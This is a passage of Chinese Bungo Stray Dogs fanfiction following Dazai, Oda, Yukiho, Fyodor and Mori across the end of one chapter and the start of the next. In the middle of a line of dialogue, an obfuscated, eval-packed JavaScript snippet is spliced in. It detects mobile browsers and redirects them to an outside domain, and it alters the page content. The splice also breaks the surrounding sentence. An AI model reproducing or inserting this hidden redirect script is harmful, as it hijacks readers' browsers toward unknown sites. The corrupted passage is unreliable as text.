愉快和谐的午餐很快就结束了,【太宰】跟着织田作出门,说要去常去的地方看看能不能找回记忆,织田作理所当然地变身为导游,为【太宰】带路。 雪穗站在玄关处将他们送离,看着【太宰】轻快的背影消失在巷口很久后,才收回目光。 【太宰】跟着织田作像踩点一样去了lupin酒吧,到了偏远的咖喱店,和孩子们打闹一会儿,一起尝了超正宗的辣咖喱,在田中先生的小店里攀谈…… 渐晚的日色中,他们并肩走在港口的海岸边。 织田作看了看天色,问道:“你要走了吗?” “啊,对啊,要去东京出差嘛~”【太宰】踢着脚下的石头随意地回答道,“部下的求救短信快把手机震坏了。” 他晃了晃根本没开机的通讯器,绷带被晚风吹起一角。 “我不是问这个……”织田作挠着头苦恼地说着,但他又很快转移了话题,“没什么……注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980209|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意安全”。 但【太宰】却从织田作的语气中敏锐地发现了什么。 “你什么时候发现的?”发现我不是你认识的那个太宰的? 【太宰】站在原地,黄昏的光线将他侧脸分割成明暗两半,他不说话也不伪装的时候,长期沉浸在黑暗世界的危险气息就流露了出来。 对危险的感知让织田作本能地防备起来,下一瞬他意识到面前的人是【太宰】,竭力按住了自己警惕的本能反应,回答道:“中午见到你的时候”。 “什么?”【太宰】抬起头看向织田作,他没有想到自己在第一眼就暴露了。 “我曾经是杀手,杀手对人体是很了解的,太宰遇袭也不会一夜瘦二十斤吧”,织田作比划了一下太宰的身形差别。 “更何况你之后就完全没有掩饰了,如果是你的话,打消我的疑虑,完全伪装成太宰也不是不可能的事情,但你没有这样做,所以我想,你是希望让我发现的,不是吗?” “而且……夫人的态度也很明显,虽然我不知道夫人为什么要假称你失忆了”。 【太宰】没有说话,安静得像一片虚无。 “不愧是前杀手先生。”袖管里的绷带勒得他有些发疼,“要在这里处理冒牌货吗?” “怎么会?你对我和安吾都很熟悉,我们在其他世界应该也是朋友吧?”织田作从口袋里掏出温热的罐装咖啡。 “……朋友……织田作原来是这么天真的人吗?”【太宰】握紧突然被塞进掌心的咖啡罐,感受到残留的体温。 “真心和假意,我还是能辨别的,太宰,不要做危险的事”,会有人担心的。 “为什么这么说?” “一种直觉?感觉你像一根即将崩裂的琴弦,好像在计划什么危险的事情一样,我在你的世界一定是个很失败的朋友吧?”,织田作有些挫败的看着【太宰】。 “不……织田作,你是一个很好的人”,只是我们不是朋友罢了,“时间快到了,我要走了,再见”。 太宰将咖啡放进大衣口袋的动作很轻,咸涩的风突然灌进眼眶。 “太宰……”,织田作挽留一般伸出了手,但他错开了织田作试图抓住他的手,头也不回地逆着夕阳离开。 * 【太宰】坐在海岸的礁石上看着暮色,夕阳如残血一般铺洒在海面,海风吹起他的衣摆,露出了他消瘦的身躯。 “潮水要涨了”,温暖的披风从身后罩在他的身上,雪穗站在【太宰】错身半步的位置,陪他看着夕阳西下。 【太宰】没有回头,“您此前见过我,那就应该知道我来的目的”。 “嗯,我知道”,海风温柔地缠绕着他们。 “要怎样才能拿到“门”的钥匙呢?” “钥匙啊……钥匙在我来之前就已经被一个小坏蛋抢走了”,雪穗泄愤一般弹了弹他的额头。 “哇哦,那他是怎么做到的呢?”,【太宰】仰头倒视着雪穗。 她梳理着少年的发尾,“你已经得到了我的权柄,剩下的……就问问送你过来的那个老家伙吧” “……是昨天晚上啊”,【太宰】低头笑了起来,海鸟归巢的鸣叫声里,【太宰】感觉后颈被轻轻一推。 他踉跄着跌进满地碎银般的光斑中,望向雪穗的目光柔和得让人心碎。 “……”他将原本想问的话咽下,转而笑着对雪穗告别,“……再见,妈妈”。 潮声渐远时,他最后望见母亲逆光的剪影,雪穗站在礁石上向他挥手,仿佛仅仅是在一个春日的清晨送别春游的孩子。 …… 雪穗的眼底映照着碎光, “当年迷路的小猫,如今要自己选择归途了。” 27.开局一只宰26 普通人类怎么能赢过不死不灭的“幽灵”呢? 太宰猫腰缩在锈迹斑斑的垃圾桶后边,跳弹擦着耳朵飞过,在身后水泥墙炸开火星。 黑西装的部下们在交叉的火力中接连倒下,而敌人却完好无损。 在漫长的拉锯战中,太宰在部下的掩护中撤离,改换四五条路线才甩开身后紧追不舍的敌人,他摸到外套内袋里浸血的剪报。 在拿到侦探嘲讽自己被牵着鼻子走的那张纸条时,太宰就知道了报纸游戏的地点不在横滨,在横滨是无论如何都找不到谜底的。 他本不在意谜底是什么,但在和侦探捉迷藏的过程中发现对方刻意给他留下了东京图书馆的讯息。 莫名有种被对方嫌弃智商,特地泄题的屈辱感。 连环套的地址在脑中铺开,最后定格在编号:I454.79 等到太宰翻进东京图书馆时,那本编号为I454.79的书却已经不见了踪影,空荡荡的书架似乎在嘲笑他的迟到。 太宰借着窗外的月色,伸手细捻了一下书架的灰尘,拿下了全黑的空书匣,皱着眉头打量了一下书架上的其他书籍,古希腊戏剧分类区? 已经闭馆的图书馆内传来细碎的脚步声,太宰转身看向来人的方向。 带着白色毛毡帽,裹着披风的少年从阴影处走出,月光把影子拉得细长,莹蓝的月光为他镀上一层诡谲的气息。 “晚上好,太宰君是来借阅《亡灵复活指南》吗?” “呀,这不是便利店的夜班小哥嘛。”太宰啪地合上空书匣,“上回买蟹肉罐头的钱还没有给我找零呢。” “真遗憾,看来我们找的不是同一本书”,费奥多尔对着太宰笑起来,“我还以为你是来探查‘亡灵’的消息呢?如果不是……那你来是做什么的?” “当然是晚上睡不着,出来抓老鼠啊”,太宰走出书架的阴影,站在费奥多尔的对面,“电脑上的地址是你篡改的?” “比我预计的要到得晚一些,路上是遇到什么麻烦了吗?”费奥多尔眯着眼笑着问道。 太宰也笑了起来,“有没有麻烦,你会不知道?” 侧后方传来枪弹的上膛声,太宰却好似完全没有听见一般笑着与费奥多尔对视。 混凝土碎块擦着肩膀飞过,他转头看见距离脑袋一寸位置的书架上的弹孔,意味不明地笑了。 太宰按掉了衣兜里刚刚拨通的电话,对着身后衣衫破败的灰袍人举手做投降状,“我认输,你最好能瞄准一点,一枪崩掉我,我可是最怕疼了,给我一个痛快吧”。 灰袍人的枪口正对着太宰的眉心,太宰脸上满是灰痕,西装上到处都是擦痕和不知名的血迹,他扬着大大的笑容向前走了两步。 “呐呐~快让我解脱吧,只要你扣响扳机,就能轻而易举地杀死我哦”。 两声枪响阻断了太宰往前的步伐,他低头看见自己脚边的弹壳垮了垮脸,“现在不杀掉我,不怕我毁了你的所有计划吗?” 太宰眼底闪过幽光,转头对着费奥多尔说。 “你在说什么呢?太宰君,在下只是一个平平无奇的便利店夜班小哥,能有什么计划呢?”费奥多尔捂着嘴,眼睛却愉快地弯了起来。 “呵——”,太宰还来不及继续嘲讽,就已经被灰袍人用枪托砸中太阳穴晕了过去。 费奥多尔收起了脸上的笑意,居高临下地看着倒在地上的太宰,从怀里掏出了一本黑色封皮的书,放进书架空缺的位置,《俄狄浦斯王》的书名闪过流光。 “来不及了,太宰君,哪怕是你,也已经无法阻止了”,费奥多尔看着窗外,挥挥手让灰袍人将太宰带走了。 * 幽白的月光透过防弹玻璃将首领办公室照得晦明两半,森鸥外撑着头观赏着天边的圆月,将手里的红酒杯放在了沙发边的玻璃桌上。 他看着手机上被挂断的电话笑了笑。 “林太郎要变地中海大叔啦!”金发红裙的女孩儿从内室的阴影中蹦蹦跳跳地走出来,“上次买的生发剂还没开封呢?” “诶——爱丽丝酱怎么能这么说呢,明明是在等重要的信息”,森鸥外故作苦恼地说着。 “呵,小心太宰回来一刀割断你的脖子,不过我更希望太宰那个臭小鬼死在东京再也不回来”,爱丽丝气冲冲地诅咒着太宰。 “啊拉,我可是和对面说过要留太宰一命,不过太宰君要是自己在敌营挑衅,那可就怪不了我了”,森鸥外笑得像只老狐狸。 “黑心肠的大人……” 不过太宰成长得太快了,就这样把人在他眼皮子底下藏了快两年的时间。 不仅有着强大的武力,还有着治愈的能力,“真是一颗完美的钻石啊”,没关系,再等一等,森鸥外按捺住迫切的心情,很快,这个人就是我的了。 他将手里的手术刀掷了出去,银光闪过钉在了墙面的照片上,照片里的人被刀尖贯穿了左眼。 森鸥外拿起手边拇指大小的玻璃瓶,莹白的液体在月光下泛着碎光。 玻璃瓶上的标签飘落在地上,他站起身来走进内室,将“一口回血汤”的幼稚标签踩在脚底。 身后雪穗照片上的银色手术刀泛起血锈色,发出了细微的嗡鸣。 * 翌日一早,织田作在煮咖啡时接到了首领传召的信息,他胡乱地对付了早餐后驱车前往port mafia五栋大楼的所在之地。 路上遇见田中先生和他的女儿一起去市场买菜。 他们还隔着车窗打了个招呼,若是没有首领传召,他此刻应该会和他们一同前往,毕竟田中先生挑选鲜鱼的眼光可是一绝。 织田作收回思绪,发现自己拐错了路口,正准备在前方掉头的时候,看见了低头走来的雪穗。 雪穗手里拿着一封拆开的信,正皱着眉头看着信纸上的内容。 首领的传唤没有明确的时间限制,织田作犹豫片刻还是停下了车,他用喇叭示意了一声,将车停在路边向雪穗问好: “雪穗夫人,早上好,您看起来有些苦恼,需要帮助吗?” “是织田啊,早上好,并没有什么事情,只是有点担心太宰,他今天早上都没回消息”,雪穗目光温和,平静的回答。 织田作闻言点点头,“可能太宰还没起床?如果夫人需要帮助,请尽管吩咐”。 “我没什么事情,放心好了,倒是你,今天怎么这么早出门?”雪穗耸耸肩将信纸折了起来。 “接到了首领的传唤,现在正要去port mafia总部大楼”。 “这样啊……那你快去吧,别耽误了时间”。 织田作和雪穗打过招呼后便准备离开,车窗摇上去的瞬间,他并没有看见雪穗片刻的迟疑。 雪穗站在原地目送织田作开车离去,将手里的信纸再次展开,上面歪歪扭扭的小孩儿字体写着: 从今日起,无论发生什么,你都不能去port mafia,千万别去! …… 织田作很快到了port mafia总部大楼,在直升 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更麻烦的是,在这种紧要关头,太宰不在横滨,也没有其他人能帮他转移孩子了。 不……还是有的…… 雪穗接到织田作电话的时候正在地下室研究宝石,前天晚上那七颗宝石结成的法阵被【太宰】的无效化消除,但宝石还留在地下室。 她正试图通过解析宝石探查法阵的效果。 这七颗宝石的外形和细节虽然都和自己卖出去的那几颗一模一样,但雪穗总有一种说不出来的古怪感觉。 “这算什么?赝品比真货还像真的。” 这个世界本不应该有人会魔法,但用宝石储存魔法刻印的手法真的是熟悉得不能再熟悉了。 要不是知道自己的老师只有她一个学生,她都要怀疑是不是有其他师弟师妹在这个世界上了。 这几颗宝石上的魔法刻印却无法解析,或者说是…… 这些刻印,除了会发光之外似乎没有任何效果,雪穗带着单边透镜仔细观察着宝石…… 难道是对方比她的魔法造诣更高一筹,所有她才无法分析这个魔法刻印? 接到织田作电话后,雪穗将宝石放进骨盒里,贴上了封印,准备先去和孩子们接触一下。 她打包了一些伴手礼,向着手机里织田作发来的地址出发了。 * 太宰在混沌中听见金属撞击和水滴的声音。 睁开眼时,铁锈味正顺着后颈淌进衣领,他发现自己被吊在废弃地铁隧道里,生锈的钢索随着穿堂风不断摇晃。 “早安”,费奥多尔的声音从下方传来,他正用匕首削着苹果,“太宰君想知道幽灵的弱点吗?” “比起这个——”太宰突然绷紧腰腹荡起钢索,锈渣和血滴落在魔人肩头,“能先告诉我厕所在哪吗?” 木棍重重砸在胃部,太宰咳着血沫大笑起来:“真没幽默感”,他瞥见身边灰袍人无机制的眼神,歪着头说道:“既然我早就知道东京是个陷阱,你猜我为什么还是来了?” 闻言,费奥多尔皱眉查看起手机,太宰则趁机甩出藏在袖口的铁丝。 锁芯打开的瞬间,他像条脱网的鲭鱼般砸进积水潭,就势滚进黑暗的维修通道,消失在了通风井口。 费奥多尔笑出声来,指挥着灰袍的‘幽灵’们追上去。 “真是太有意思了,太宰君,那就让我看看你的后手吧……”